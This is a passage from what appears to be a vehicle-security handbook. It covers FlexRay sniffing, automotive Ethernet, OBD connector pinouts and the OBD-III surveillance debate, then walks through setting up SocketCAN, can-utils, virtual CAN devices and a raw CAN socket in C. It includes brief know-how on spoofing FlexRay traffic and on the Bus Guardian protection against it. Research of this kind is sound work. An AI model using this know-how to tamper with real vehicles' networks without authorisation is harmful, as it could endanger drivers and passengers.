cycle	in	the	static	or	dynamic	slot	(see	Figure	2-15).

Figure	2-15:	FlexRay	packet	layout

The	status	bits	are:

•	Reserved	bit

•	Payload	preamble	indicator

•	NULL	frame	indicator

•	Sync	frame	indicator

•	Startup	frame	indicator

The	frame	ID	is	the	slot	the	packet	should	be	transmitted	in	when	used
for	static	slots.	When	the	packet	is	destined	for	a	dynamic	slot	(1–2047),	the
frame	ID	represents	the	priority	of	this	packet.	If	two	packets	have	the	same
signal,	then	the	one	with	the	highest	priority	wins.	Payload	length	is	the
number	in	words	(2	bytes),	and	it	can	be	up	to	127	words	in	length,	which
means	that	a	FlexRay	packet	can	carry	254	bytes	of	data—more	than	30
times	that	of	a	CAN	packet.	Header	CRC	should	be	obvious,	and	the	cycle
count	is	used	as	a	communication	counter	that	increments	each	time	a
communication	cycle	starts.

One	really	neat	thing	about	static	slots	is	that	an	ECU	can	read	earlier



static	slots	and	output	a	value	based	on	those	inputs	in	the	same	cycle.	For
instance,	say	you	have	a	component	that	needs	to	know	the	position	of	each
wheel	before	it	can	output	any	needed	adjustments.	If	the	first	four	slots	in	a
static	cycle	contain	each	wheel	position,	the	calibration	ECU	can	read	them
and	still	have	time	to	fill	in	a	later	slot	with	any	adjustments.

Sniffing	a	FlexRay	Network
As	of	this	writing,	Linux	doesn’t	have	official	support	for	FlexRay,	but	there
are	some	patches	from	various	manufacturers	that	add	support	to	certain
kernels	and	architectures.	(Linux	has	FlexCAN	support,	but	FlexCAN	is	a
CAN	bus	network	inspired	by	FlexRay.)

At	this	time,	there	are	no	standard	open	source	tools	for	sniffing	a
FlexRay	network.	If	you	need	a	generic	tool	to	sniff	FlexRay	traffic,	you
currently	have	to	go	with	a	proprietary	product	that’ll	cost	a	lot.	If	you	want
to	monitor	a	FlexRay	network	without	a	FIBEX	file,	you’ll	at	least	need	to
know	the	baud	rate	of	the	bus.	Ideally,	you’ll	also	know	the	cycle	length	(in
milliseconds)	and,	if	possible,	the	size	of	the	cluster	partitioning	(static-to-
dynamic	ratio).	Technically,	a	FlexRay	cluster	can	have	up	to	1048
configurations	with	74	parameters.	You’ll	find	the	approach	to	identifying
these	parameters	detailed	in	the	paper	“Automatic	Parameter	Identification
in	FlexRay	based	Automotive	Communication	Networks”	(IEEE,	2006)	by
Eric	Armengaud,	Andreas	Steininger,	and	Martin	Horauer.

When	spoofing	packets	on	a	FlexRay	network	with	two	channels,	you
need	to	simultaneously	spoof	both.	Also,	you’ll	encounter	FlexRay
implementations	called	Bus	Guardian	that	are	designed	to	prevent	flooding
or	monopolization	of	the	bus	by	any	one	device.	Bus	Guardian	works	at	the
hardware	level	via	a	pin	on	the	FlexRay	chip	typically	called	Bus	Guardian
Enable	(BGE).	This	pin	is	often	marked	as	optional,	but	the	Bus	Guardian
can	drive	this	pin	too	high	to	disable	a	misbehaving	device.

Automotive	Ethernet
Because	MOST	and	FlexRay	are	expensive	and	losing	support	(the	FlexRay
consortium	appears	to	have	disbanded),	most	newer	vehicles	are	moving	to
Ethernet.	Ethernet	implementations	vary,	but	they’re	basically	the	same	as
what	you’d	find	in	a	standard	computer	network.	Often,	CAN	packets	are



encapsulated	as	UDP,	and	audio	is	transported	as	voice	over	IP	(VoIP).
Ethernet	can	transmit	data	at	speeds	up	to	10Gbps,	using	nonproprietary
protocols	and	any	chosen	topology.

While	there’s	no	common	standard	for	CAN	traffic,	manufacturers	are
starting	to	use	the	IEEE	802.1AS	Audio	Video	Bridging	(AVB)	standard.
This	standard	supports	quality	of	service	(QoS)	and	traffic	shaping,	and	it
uses	time-synchronized	UDP	packets.	In	order	to	achieve	this
synchronization,	the	nodes	follow	a	best	master	clock	algorithm	to	determine
which	node	is	to	be	the	timing	master.	The	master	node	will	normally	sync
with	an	outside	timing	source,	such	as	GPS	or	(worst	case)	an	on-board
oscillator.	The	master	syncs	with	the	other	nodes	by	sending	timed	packets
(10	milliseconds),	the	slave	responds	with	a	delay	request,	and	the	time	offset
is	calculated	from	that	exchange.

From	a	researcher’s	perspective,	the	only	challenge	with	vehicle	Ethernet
lies	in	figuring	out	how	to	talk	to	the	Ethernet.	You	may	need	to	make	or
buy	a	custom	cable	to	communicate	with	vehicle	Ethernet	cables	because
they	won’t	look	like	the	standard	twisted-pair	cables	that	you’d	find	in	a
networking	closet.	Typically,	a	connector	will	just	be	wires	like	the	ones	you
find	connected	to	an	ECU.	Don’t	expect	the	connectors	to	have	their	own
plug,	but	if	they	do,	it	won’t	look	like	an	RJ-45	connector.	Some	exposed
connectors	are	actually	round,	as	shown	in	Figure	2-16.

Figure	2-16:	Round	Ethernet	connectors



OBD-II	Connector	Pinout	Maps
The	remaining	pins	in	the	OBD-II	pinout	are	manufacturer	specific.
Mappings	vary	by	manufacturer,	and	these	are	just	guidelines.	Your	pinout
could	differ	depending	on	your	make	and	model.	For	example,	Figure	2-17
shows	a	General	Motors	pinout.

Figure	2-17:	Complete	OBD	pinout	cable	view	for	a	General	Motors
vehicle

Notice	that	the	OBD	connector	can	have	more	than	one	CAN	line,	such
as	a	low-speed	line	(LS-CAN)	or	a	mid-speed	one	(MS-CAN).	Low-speed
operates	around	33Kbps,	mid-speed	is	around	128Kbps,	and	high-speed
(HS-CAN)	is	around	500Kbps.

Often	you’ll	use	a	DB9-to-OBDII	connector	when	connecting	your



sniffer	to	your	vehicle’s	OBD-II	connector.	Figure	2-18	shows	the	plug
view,	not	that	of	the	cable.

Figure	2-18:	Typical	DB9	connector	plug	view.	An	asterisk	(*)	means	that
the	pin	is	optional.	A	DB9	adapter	can	have	as	few	as	three	pins
connected.

This	pinout	is	a	common	pinout	in	the	United	Kingdom,	and	if	you’re
making	a	cable	yourself,	this	one	will	be	the	easiest	to	use.	However,	some
sniffers,	such	as	many	Arduino	shields,	expect	the	US-style	DB9	connector
(see	Figure	2-19).



Figure	2-19:	US-style	DB9	connector,	plug	view

The	US	version	has	more	features	and	gives	you	more	access	to	other
OBD	connectors	besides	just	CAN.	Luckily,	power	is	pin	9	on	both	style
connectors,	so	you	shouldn’t	fry	your	sniffer	if	you	happen	to	grab	the
wrong	cable.	Some	sniffers,	such	as	CANtact,	have	jumpers	that	you	can	set
depending	on	which	style	cable	you’re	using.

The	OBD-III	Standard
OBD-III	is	a	rather	controversial	evolution	of	the	OBD-II	standard.	OBD-II
was	originally	designed	to	be	compliant	with	emissions	testing	(at	least	from
the	regulators’	perspective),	but	now	that	the	powertrain	control	module
(PCM)	knows	whether	a	vehicle	is	within	guidelines,	we’re	still	left	with	the
inconvenience	of	the	vehicle	owner	having	to	go	for	testing	every	other	year.
The	OBD-III	standard	allows	the	PCM	to	communicate	its	status	remotely
without	the	owner’s	interaction.	This	communication	is	typically



accomplished	through	a	roadside	transponder,	but	cell	phones	and	satellite
communications	work	as	well.

The	California	Air	Resources	Board	(CARB)	began	testing	roadside
readers	for	OBD-III	in	1994	and	is	capable	of	reading	vehicle	data	from
eight	lanes	of	traffic	traveling	at	100	miles	per	hour.	If	a	fault	is	detected	in
the	system,	it’ll	transmit	the	diagnostic	trouble	codes	(DTC)	and	vehicle
identification	numbers	(VIN)	to	a	nearby	transponder	(see	“Diagnostic
Trouble	Codes”	on	page	52).	The	idea	is	to	have	the	system	report	that
pollutants	are	entering	the	atmosphere	without	having	to	wait	up	to	two
years	for	an	emissions	check.

Most	implementations	of	OBD-III	are	manufacturer	specific.	The	vehicle
phones	home	to	the	manufacturer	with	faults	and	then	contacts	the	owner	to
inform	them	of	the	need	for	repairs.	As	you	might	imagine,	this	system	has
some	obvious	legal	questions	that	still	need	to	be	answered,	including	the
risk	of	mass	surveillance	of	private	property.	Certainly,	there’s	lots	of	room
for	abuses	by	law	enforcement,	including	speed	traps,	tracking,
immobilization,	and	so	on.

Some	submitted	request	for	proposals	to	integrate	OBD-III	into	vehicles
claim	to	use	transponders	to	store	the	following	information:

•	Date	and	time	of	current	query

•	Date	and	time	of	last	query

•	VIN

•	Status,	such	as	“OK,”	“Trouble,”	or	“No	response”

•	Stored	codes	(DTCs)

•	Receiver	station	number

It’s	important	to	note	that	even	if	OBD-III	sends	only	DTC	and	VIN,
it’s	trivial	to	add	additional	metadata,	such	as	location,	time,	and	history	of
the	vehicle	passing	the	transponder.	For	the	most	part,	OBD-III	is	the
bogeyman	under	the	bed.	As	of	this	writing,	it	has	yet	to	be	deployed	with	a
transponder	approach,	although	phone-home	systems	such	as	OnStar	are
being	deployed	to	notify	the	car	dealer	of	various	security	or	safety	issues.

Summary



When	working	on	your	target	vehicle,	you	may	run	into	a	number	of
different	buses	and	protocols.	When	you	do,	examine	the	pins	that	your
OBD-II	connector	uses	for	your	particular	vehicle	to	help	you	determine
what	tools	you’ll	need	and	what	to	expect	when	reversing	your	vehicle’s
network.

I’ve	focused	in	this	chapter	on	easily	accessible	buses	via	the	OBD-II
connector,	but	you	should	also	look	at	your	vehicle	wiring	diagrams	to
determine	where	to	find	other	bus	lines	between	sensors.	Not	all	bus	lines
are	exposed	via	the	OBD-II	connector,	and	when	looking	for	a	certain
packet,	it	may	be	easier	to	locate	the	module	and	bus	lines	leaving	a	specific
module	in	order	to	reverse	a	particular	packet.	(See	Chapter	7	for	details	on
how	to	read	wiring	diagrams.)



3
VEHICLE	COMMUNICATION	WITH

SOCKETCAN

When	you	begin	using	a	CAN	for	vehicle	communications,	you	may	well
find	it	to	be	a	hodgepodge	of	different	drivers	and	software	utilities.	The
ideal	would	be	to	unify	the	CAN	tools	and	their	different	interfaces	into	a
common	interface	so	we	could	easily	share	information	between	tools.

Luckily,	there’s	a	set	of	tools	with	a	common	interface,	and	it’s	free!	If
you	have	Linux	or	install	Linux	on	a	virtual	machine	(VM),	you	already	have
this	interface.	The	interface,	called	SocketCAN,	was	created	on	the	Open
Source	development	site	BerliOS	in	2006.	Today,	the	term	SocketCAN	is
used	to	refer	to	the	implementation	of	CAN	drivers	as	network	devices,	like
Ethernet	cards,	and	to	describe	application	access	to	the	CAN	bus	via	the
network	socket–programming	interface.	In	this	chapter	we’ll	set	up
SocketCAN	so	that	we’re	more	easily	able	to	communicate	with	the	vehicle.

Volkswagen	Group	Research	contributed	the	original	SocketCAN
implementation,	which	supports	built-in	CAN	chips	and	card	drivers,
external	USB	and	serial	CAN	devices,	and	virtual	CAN	devices.	The	can-
utils	package	provides	several	applications	and	tools	to	interact	with	the
CAN	network	devices,	CAN-specific	protocols,	and	the	ability	to	set	up	a
virtual	CAN	environment.	In	order	to	test	many	of	the	examples	in	this



book,	install	a	recent	version	in	a	Linux	VM	on	your	system.	The	newest
versions	of	Ubuntu	have	can-utils	in	their	standard	repositories.

SocketCAN	ties	into	the	Linux	networking	stack,	which	makes	it	very
easy	to	create	tools	to	support	CAN.	SocketCAN	applications	can	use
standard	C	socket	calls	with	a	custom	network	protocol	family,	PF_CAN.	This
functionality	allows	the	kernel	to	handle	CAN	device	drivers	and	to	interface
with	existing	networking	hardware	to	provide	a	common	interface	and	user-
space	utilities.

Figure	3-1	compares	the	implementation	of	traditional	CAN	software
with	that	of	a	unified	SocketCAN.

Figure	3-1:	SocketCAN	layout	(left)	and	traditional	CAN	software	(right)

With	traditional	CAN	software,	the	application	has	its	own	protocol	that
typically	talks	to	a	character	device,	like	a	serial	driver,	and	then	the	actual
hardware	driver.	On	the	left	of	the	figure,	SocketCAN	is	implemented	in	the
Linux	kernel.	By	creating	its	own	CAN	protocol	family,	SocketCAN	can
integrate	with	the	existing	network	device	drivers,	thus	enabling	applications
to	treat	a	CAN	bus	interface	as	if	it’s	a	generic	network	interface.

Setting	Up	can-utils	to	Connect	to	CAN	Devices



In	order	to	install	can-utils,	you	must	be	running	a	Linux	distribution	from
2008	or	later	or	one	running	the	2.6.25	Linux	kernel	or	higher.	First	we’ll
install	can-utils,	then	cover	how	to	configure	it	for	your	particular	setup.

Installing	can-utils
You	should	be	able	to	use	your	package	manager	to	install	can-utils.	Here’s
a	Debian/Ubuntu	example:

$	sudo	apt-get	install	can-utils

If	you	don’t	have	can-utils	in	your	package	manager,	install	it	from
source	with	the	git	command:

$	git	clone	https://github.com/linux-can/can-utils

As	of	this	writing,	can-utils	has	configure,	make,	and	make	install	files,	but
in	older	versions,	you’d	just	enter	make	to	install	from	source.

Configuring	Built-In	Chipsets
The	next	step	depends	on	your	hardware.	If	you’re	looking	for	a	CAN
sniffer,	you	should	check	the	list	of	supported	Linux	drivers	to	ensure	your
device	is	compatible.	As	of	this	writing,	the	Linux	built-in	CAN	drivers
support	the	following	chipsets:

•	Atmel	AT91SAM	SoCs

•	Bosch	CC770

•	ESD	CAN-PCI/331	cards

•	Freescale	FlexCAN

•	Freescale	MPC52xx	SoCs	(MSCAN)

•	Intel	AN82527

•	Microchip	MCP251x

•	NXP	(Philips)	SJA1000

•	TI’s	SoCs



CAN	controllers,	like	the	SJA1000,	are	usually	built	into	ISA,	PCI,	and
PCMCIA	cards	or	other	embedded	hardware.	For	example,	the	EMS
PCMCIA	card	driver	implements	access	to	its	SJA1000	chip.	When	you
insert	the	EMS	PCMCIA	card	into	a	laptop,	the	ems_pcmcia	module	loads
into	the	kernel,	which	then	requires	the	sja1000	module	and	the	can_dev
module	to	be	loaded.	The	can_dev	module	provides	standard	configuration
interfaces—for	example,	for	setting	bit	rates	for	the	CAN	controllers.

The	Linux	kernel’s	modular	concept	also	applies	to	CAN	hardware
drivers	that	attach	CAN	controllers	via	bus	hardware,	such	as	the	kvaser_pci,
peak_pci,	and	so	on.	When	you	plug	in	a	supported	device,	these	modules
should	automatically	load,	and	you	should	see	them	when	you	enter	the
lsmod	command.	USB	drivers,	like	usb8dev,	usually	implement	a	proprietary
USB	communication	protocol	and,	therefore,	do	not	load	a	CAN	controller
driver.

For	example,	when	you	plug	in	a	PEAK-System	PCAN-USB	adapter,	the
can_dev	module	loads	and	the	peak_usb	module	finalizes	its	initialization.
Using	the	display	message	command	dmesg,	you	should	see	output	similar	to
this:

$	dmesg
--snip	--
[	8603.743057]	CAN	device	driver	interface
[	8603.748745]	peak_usb	3-2:1.0:	PEAK-System	PCAN-USB	adapter	hwrev	28
serial
FFFFFFFF	(1	channel)
[	8603.749554]	peak_usb	3-2:1.0	can0:	attached	to	PCAN-USB	channel	0
(device
255)
[	8603.749664]	usbcore:	registered	new	interface	driver	peak_usb

You	can	verify	the	interface	loaded	properly	with	ifconfig	and	ensure	a
can0	interface	is	now	present:

$	ifconfig	can0
can0	Link	encap:UNSPEC	HWaddr	00-00-00-00-00-00-00-00-00-00-00-00-00-
00-00-00
UP	RUNNING	NOARP	MTU:16	Metric:1
RX	packets:0	errors:0	dropped:0	overruns:0	frame:0
TX	packets:0	errors:0	dropped:0	overruns:0	carrier:0
collisions:0	txqueuelen:10
RX	bytes:0	(0.0	B)	TX	bytes:0	(0.0	B)



Now	set	the	CAN	bus	speed.	(You’ll	find	more	information	on	bus	speeds
in	Chapter	5.)	The	key	component	you	need	to	set	is	the	bit	rate.	This	is	the
speed	of	the	bus.	A	typical	value	for	high-speed	CAN	(HS-CAN)	is
500Kbps.	Values	of	250Kbps	or	125Kbps	are	typical	for	lower-speed	CAN
buses.

$	sudo	ip	link	set	can0	type	can	bitrate	500000
$	sudo	ip	link	set	up	can0

Once	you	bring	up	the	can0	device,	you	should	be	able	to	use	the	tools
from	can-utils	on	this	interface.	Linux	uses	netlink	to	communicate
between	the	kernel	and	user-space	tools.	You	can	access	netlink	with	the	ip
link	command.	To	see	all	the	netlink	options,	enter	the	following:

$	ip	link	set	can0	type	can	help

If	you	begin	to	see	odd	behavior,	such	as	a	lack	of	packet	captures	and
packet	errors,	the	interface	may	have	stopped.	If	you’re	working	with	an
external	device,	just	unplug	or	reset.	If	the	device	is	internal,	run	these
commands	to	reset	it:

$	sudo	ip	link	set	canX	type	can	restart-ms	100
$	sudo	ip	link	set	canX	type	can	restart

Configuring	Serial	CAN	Devices
External	CAN	devices	usually	communicate	via	serial.	In	fact,	even	USB
devices	on	a	vehicle	often	communicate	through	a	serial	interface—typically
an	FTDI	chip	from	Future	Technology	Devices	International,	Ltd.

The	following	devices	are	known	to	work	with	SocketCAN:

•	Any	device	that	supports	the	LAWICEL	protocol

•	CAN232/CANUSB	serial	adapters	(http://www.can232.com/)

•	VSCOM	USB-to-serial	adapter	(http://www.vscom.de/usb-to-can.htm)

•	CANtact	(http://cantact.io)

NOTE

http://www.can232.com/
http://www.vscom.de/usb-to-can.htm
http://cantact.io


If	you’re	using	an	Arduino	or	building	your	own	sniffer,	you	must	implement
the	LAWICEL	protocol—also	known	as	the	SLCAN	protocol—in	your
firmware	in	order	for	your	device	to	work.	For	details,	see
http://www.can232.com/docs/canusb_manual.pdf	and
https://github.com/linux-can/can-misc/blob/master/docs/SLCAN-
API.pdf.

In	order	to	use	one	of	the	USB-to-serial	adapters,	you	must	first	initialize
both	the	serial	hardware	and	the	baud	rate	on	the	CAN	bus:

$	slcand	-o	-s6	-t	hw	-S	3000000	/dev/ttyUSB0
$	ip	link	set	up	slcan0

The	slcand	daemon	provides	the	interface	needed	to	translate	serial
communication	to	the	network	driver,	slcan0.	The	following	options	can	be
passed	to	slcand:

-o	Opens	the	device

-s6	Sets	the	CAN	bus	baud	rate	and	speed	(see	Table	3-1)

-t	hw	Specifies	the	serial	flow	control,	either	HW	(hardware)	or	SW
(software)

-S	3000000	Sets	the	serial	baud,	or	bit	rate,	speed

/dev/ttyUSB0	Your	USB	FTDI	device

Table	3-1	lists	the	numbers	passed	to	-s	and	the	corresponding	baud
rates.

Table	3-1:	Numbers	and	Corresponding	Baud	Rates

Number Baud

0 10Kbps

1 20Kbps

2 50Kbps

3 100Kbps

4 125Kbps

http://www.can232.com/docs/canusb_manual.pdf
https://github.com/linux-can/can-misc/blob/master/docs/SLCAN-API.pdf


5 250Kbps

6 500Kbps

7 800Kbps

8 1Mbps

As	you	can	see,	entering	-s6	prepares	the	device	to	communicate	with	a
500Kbps	CAN	bus	network.

With	these	options	set,	you	should	now	have	an	slcan0	device.	To
confirm,	enter	the	following:

$	ifconfig	slcan0
slcan0	Link	encap:UNSPEC	HWaddr	00-00-00-00-00-00-00-00-00-00-00-00-00-
00-00-00
NOARP	MTU:16	Metric:1
RX	packets:0	errors:0	dropped:0	overruns:0	frame:0
TX	packets:0	errors:0	dropped:0	overruns:0	carrier:0
collisions:0	txqueuelen:10
RX	bytes:0	(0.0	B)	TX	bytes:0	(0.0	B)

Most	of	the	information	returned	by	ifconfig	is	set	to	generic	default
values,	which	may	be	all	0s.	This	is	normal.	We’re	simply	making	sure	that
we	can	see	the	device	with	ifconfig.	If	we	see	an	slcan0	device,	we	know	that
we	should	be	able	to	use	our	tools	to	communicate	over	serial	with	the	CAN
controller.

NOTE

At	this	point,	it	may	be	good	to	see	whether	your	physical	sniffer	device	has
additional	lights.	Often	a	CAN	sniffer	will	have	green	and	red	lights	to
signify	that	it	can	communicate	correctly	with	the	CAN	bus.	Your	CAN	device
must	be	plugged	in	to	your	computer	and	the	vehicle	in	order	for	these	lights	to
function	properly.	Not	all	devices	have	these	lights.	(Check	your	device’s
manual.)

Setting	Up	a	Virtual	CAN	Network
If	you	don’t	have	CAN	hardware	to	play	with,	fear	not.	You	can	set	up	a
virtual	CAN	network	for	testing.	To	do	so,	simply	load	the	vcan	module.



$	modprobe	vcan

If	you	check	dmesg,	you	shouldn’t	see	much	more	than	a	message	like	this:

$	dmesg
[604882.283392]	vcan:	Virtual	CAN	interface	driver

Now	you	just	set	up	the	interface	as	discussed	in	“Configuring	Built-In
Chipsets”	on	page	37	but	without	specifying	a	baud	rate	for	the	virtual
interface.

$	ip	link	add	dev	vcan0	type	vcan
$	ip	link	set	up	vcan0

To	verify	your	setup,	enter	the	following:

$	ifconfig	vcan0
vcan0	Link	encap:UNSPEC	HWaddr	00-00-00-00-00-00-00-00-00-00-00-00-00-
00-00-00
UP	RUNNING	NOARP	MTU:16	Metric:1
RX	packets:0	errors:0	dropped:0	overruns:0	frame:0
TX	packets:0	errors:0	dropped:0	overruns:0	carrier:0
collisions:0	txqueuelen:0
RX	bytes:0	(0.0	B)	TX	bytes:0	(0.0	B)

As	long	as	you	see	a	vcan0	in	the	output,	you’re	ready	to	go.

The	CAN	Utilities	Suite
With	our	CAN	device	up	and	running,	let’s	take	a	high-level	look	at	the	can-
utils.	They’re	listed	and	described	briefly	here;	we’ll	use	them	throughout
the	book,	and	we’ll	explore	them	in	greater	detail	as	we	use	them.

asc2log	This	tool	parses	ASCII	CAN	dumps	in	the	following	form	into	a
standard	SocketCAN	logfile	format:

0.002367	1	390x	Rx	d	8	17	00	14	00	C0	00	08	00

bcmserver	Jan-Niklas	Meier’s	proof-of-concept	(PoC)	broadcast	manager
server	takes	commands	like	the	following:

vcan1	A	1	0	123	8	11	22	33	44	55	66	77	88



By	default,	it	listens	on	port	28600.	It	can	be	used	to	handle	some	busy
work	when	dealing	with	repetitive	CAN	messages.

canbusload	This	tool	determines	which	ID	is	most	responsible	for	putting
the	most	traffic	on	the	bus	and	takes	the	following	arguments:

interface@bitrate

You	can	specify	as	many	interfaces	as	you	like	and	have	canbusload
display	a	bar	graph	of	the	worst	bandwidth	offenders.

can-calc-bit-timing	This	command	calculates	the	bit	rate	and	the
appropriate	register	values	for	each	CAN	chipset	supported	by	the	kernel.

candump	This	utility	dumps	CAN	packets.	It	can	also	take	filters	and	log
packets.

canfdtest	This	tool	performs	send	and	receive	tests	over	two	CAN	buses.

cangen	This	command	generates	CAN	packets	and	can	transmit	them	at
set	intervals.	It	can	also	generate	random	packets.

cangw	This	tool	manages	gateways	between	different	CAN	buses	and	can
also	filter	and	modify	packets	before	forwarding	them	on	to	the	next	bus.

canlogserver	This	utility	listens	on	port	28700	(by	default)	for	CAN
packets	and	logs	them	in	standard	format	to	stdout.

canplayer	This	command	replays	packets	saved	in	the	standard
SocketCAN	“compact”	format.

cansend	This	tool	sends	a	single	CAN	frame	to	the	network.

cansniffer	This	interactive	sniffer	groups	packets	by	ID	and	highlights
changed	bytes.

isotpdump	This	tool	dumps	ISO-TP	CAN	packets,	which	are	explained	in
“Sending	Data	with	ISO-TP	and	CAN”	on	page	55.

isotprecv	This	utility	receives	ISO-TP	CAN	packets	and	outputs	to
stdout.

isotpsend	This	command	sends	ISO-TP	CAN	packets	that	are	piped	in
from	stdin.

isotpserver	This	tool	implements	TCP/IP	bridging	to	ISO-TP	and



accepts	data	packets	in	the	format	1122334455667788.

isotpsniffer	This	interactive	sniffer	is	like	cansniffer	but	designed	for
ISO-TP	packets.

isotptun	This	utility	creates	a	network	tunnel	over	the	CAN	network.

log2asc	This	tool	converts	from	standard	compact	format	to	the
following	ASCII	format:

0.002367	1	390x	Rx	d	8	17	00	14	00	C0	00	08	00

log2long	This	command	converts	from	standard	compact	format	to	a	user
readable	format.

slcan_attach	This	is	a	command	line	tool	for	serial-line	CAN	devices.

slcand	This	daemon	handles	serial-line	CAN	devices.

slcanpty	This	tool	creates	a	Linux	psuedoterminal	interface	(PTY)	to
communicate	with	a	serial-based	CAN	interface.

Installing	Additional	Kernel	Modules
Some	of	the	more	advanced	and	experimental	commands,	such	as	the	ISO-
TP–based	ones,	require	you	to	install	additional	kernel	modules,	such	as	can-
isotp,	before	they	can	be	used.	As	of	this	writing,	these	additional	modules
haven’t	been	included	with	the	standard	Linux	kernels,	and	you’ll	likely	have
to	compile	them	separately.	You	can	grab	the	additional	CAN	kernel
modules	like	this:

$	git	clone	https://gitorious.org/linux-can/can-modules.git
$	cd	can-modules/net/can
$	sudo	./make_isotp.sh

Once	make	finishes,	it	should	create	a	can-isotp.ko	file.
If	you	run	make	in	the	root	folder	of	the	repository,	it’ll	try	to	compile

some	out-of-sync	modules,	so	it’s	best	to	compile	only	the	module	that	you
need	in	the	current	directory.	To	load	the	newly	compiled	can-isotp.ko
module,	run	insmod:

#	sudo	insmod	./can-isotp.ko



dmesg	should	show	that	it	loaded	properly:

$	dmesg
[830053.381705]	can:	isotp	protocol	(rev	20141116	alpha)

NOTE

Once	the	ISO-TP	driver	has	proven	to	be	stable,	it	should	be	moved	into	the
stable	kernel	branch	in	Linux.	Depending	on	when	you’re	reading	this,	it	may
already	have	been	moved,	so	be	sure	to	check	whether	it’s	already	installed
before	compiling	your	own.

The	can-isotp.ko	Module
The	can-isotp.ko	module	is	a	CAN	protocol	implementation	inside	the
Linux	network	layer	that	requires	the	system	to	load	the	can.ko	core	module.
The	can.ko	module	provides	the	network	layer	infrastructure	for	all	in-
kernel	CAN	protocol	implementations,	like	can_raw.ko,	can_bcm.ko,	and	can-
gw.ko.	If	it’s	working	correctly,	you	should	see	this	output	in	response	to	the
following	command:

#	sudo	insmod	./can-isotp.ko
[830053.374734]	can:	controller	area	network	core	(rev	20120528	abi	9)
[830053.374746]	NET:	Registered	protocol	family	29
[830053.376897]	can:	netlink	gateway	(rev	20130117)	max_hops=1

When	can.ko	is	not	loaded,	you	get	the	following:

#	sudo	insmod	./can-isotp.ko
insmod:	ERROR:	could	not	insert	module	./can-isotp.ko:	Unknown	symbol
in
module

If	you’ve	forgotten	to	attach	your	CAN	device	or	load	the	CAN	kernel
module,	this	is	the	strange	error	message	you’ll	see.	If	you	were	to	enter
dmesg	for	more	information,	you’d	see	a	series	of	missing	symbols	referenced
in	the	error	messages.

$	dmesg
[830760.460054]	can_isotp:	Unknown	symbol	can_rx_unregister	(err	0)
[830760.460134]	can_isotp:	Unknown	symbol	can_proto_register	(err	0)



[830760.460186]	can_isotp:	Unknown	symbol	can_send	(err	0)
[830760.460220]	can_isotp:	Unknown	symbol	can_ioctl	(err	0)
[830760.460311]	can_isotp:	Unknown	symbol	can_proto_unregister	(err	0)
[830760.460345]	can_isotp:	Unknown	symbol	can_rx_register	(err	0)

The	dmesg	output	shows	a	lot	of	Unknown	symbol	messages,	especially
around	can_x	methods.	(Ignore	the	(err	0)	messages.)	These	messages	tell	us
that	the	_isotop	module	can’t	find	methods	related	to	standard	CAN
functions.	These	messages	indicate	that	you	need	to	load	the	can.ko	module.
Once	loaded,	everything	should	work	fine.

Coding	SocketCAN	Applications
While	can-utils	is	very	robust,	you’ll	find	that	you	want	to	write	custom
tools	to	perform	specific	actions.	(If	you’re	not	a	developer,	you	may	want	to
skip	this	section.)

Connecting	to	the	CAN	Socket
In	order	to	write	your	own	utilities,	you	first	need	to	connect	to	the	CAN
socket.	Connecting	to	a	CAN	socket	on	Linux	is	the	same	as	connecting	to
any	networking	socket	that	you	might	know	from	TCP/IP	network
programming.	The	following	shows	C	code	that’s	specific	to	CAN	as	well	as
the	minimum	required	code	to	connect	to	a	CAN	socket.	This	code	snippet
will	bind	to	can0	as	a	raw	CAN	socket.

int	s;
struct	sockaddr_can	addr;
struct	ifreq	ifr;

s	=	socket(PF_CAN,	SOCK_RAW,	CAN_RAW);

strcpy(ifr.ifr_name,	"can0");
ioctl(s,	SIOCGIFINDEX,	&ifr);

addr.can_family	=	AF_CAN;
addr.can_ifindex	=	ifr.ifr_ifindex;

bind(s,	(struct	sockaddr	*)&addr,	sizeof(addr));

Let’s	dissect	the	sections	that	are	specific	to	CAN:

s	=	socket(PF_CAN,	SOCK_RAW,	CAN_RAW);



This	line	specifies	the	protocol	family,	PF_CAN,	and	defines	the	socket	as
CAN_RAW.	You	can	also	use	CAN_BCM	if	you	plan	on	making	a	broadcast	manager
(BCM)	service.	A	BCM	service	is	a	more	complex	structure	that	can	monitor
for	byte	changes	and	the	queue	of	cyclic	CAN	packet	transmissions.

These	two	lines	name	the	interface:

strcpy(ifr.ifr_name,	"can0");
ioctl(s,	SIOCGIFINDEX,	&ifr);

These	lines	set	up	the	CAN	family	for	sockaddr	and	then	bind	to	the
socket,	allowing	you	to	read	packets	off	the	network:

addr.can_family	=	AF_CAN;
addr.can_ifindex	=	ifr.ifr_ifindex;

Setting	Up	the	CAN	Frame
Next	we	want	to	setup	the	CAN	frame	and	read	the	bytes	off	the	CAN
network	into	our	newly	defined	structure:

struct	can_frame	frame;
nbytes	=	read(s,	&frame,	sizeof(struct	can_frame));

The	can_frame	is	defined	in	linux/can.h	as:

struct	can_frame	{
canid_t	can_id;	/*	32	bit	CAN_ID	+	EFF/RTR/ERR	flags	*/
__u8	can_dlc;	/*	frame	payload	length	in	byte	(0	..	8)	*/
__u8	data[8]	__attribute__((aligned(8)));
};

Writing	to	the	CAN	network	is	just	like	the	read	command	but	in
reverse.	Simple,	eh?

The	Procfs	Interface
The	SocketCAN	network-layer	modules	implement	a	procfs	interface	as	well.
Having	access	to	information	in	proc	can	make	bash	scripting	easier	and	also
provide	a	quick	way	to	see	what	the	kernel	is	doing.	You’ll	find	the	provided
network-layer	information	in	/proc/net/can/	and	/proc/net/can-bcm/.	You	can



see	a	list	of	hooks	into	the	CAN	receiver	by	searching	the	rcvlist_all	file	with
cat:

$	cat	/proc/net/can/rcvlist_all
receive	list	'rx_all':
(vcan3:	no	entry)
(vcan2:	no	entry)
(vcan1:	no	entry)
device	can_id	can_mask	function	userdata	matches	ident
vcan0	000	00000000	f88e6370	f6c6f400	0	raw
(any:	no	entry)

Some	other	useful	procfs	files	include	the	following:

stats	CAN	network-layer	stats

reset_stats	Resets	the	stats	(for	example,	for	measurements)

version	SocketCAN	version

You	can	limit	the	maximum	length	of	transmitted	packets	in	proc:

$	echo	1000	>	/sys/class/net/can0/tx_queue_len

Set	this	value	to	whatever	you	feel	will	be	the	maximum	packet	length	for
your	application.	You	typically	won’t	need	to	change	this	value,	but	if	you
find	that	you’re	having	throttling	issues,	you	may	want	to	fiddle	with	it.

The	Socketcand	Daemon
Socketcand	(https://github.com/dschanoeh/socketcand)	provides	a	network
interface	into	a	CAN	network.	Although	it	doesn’t	include	can-utils,	it	can
still	be	very	useful,	especially	when	developing	an	application	in	a
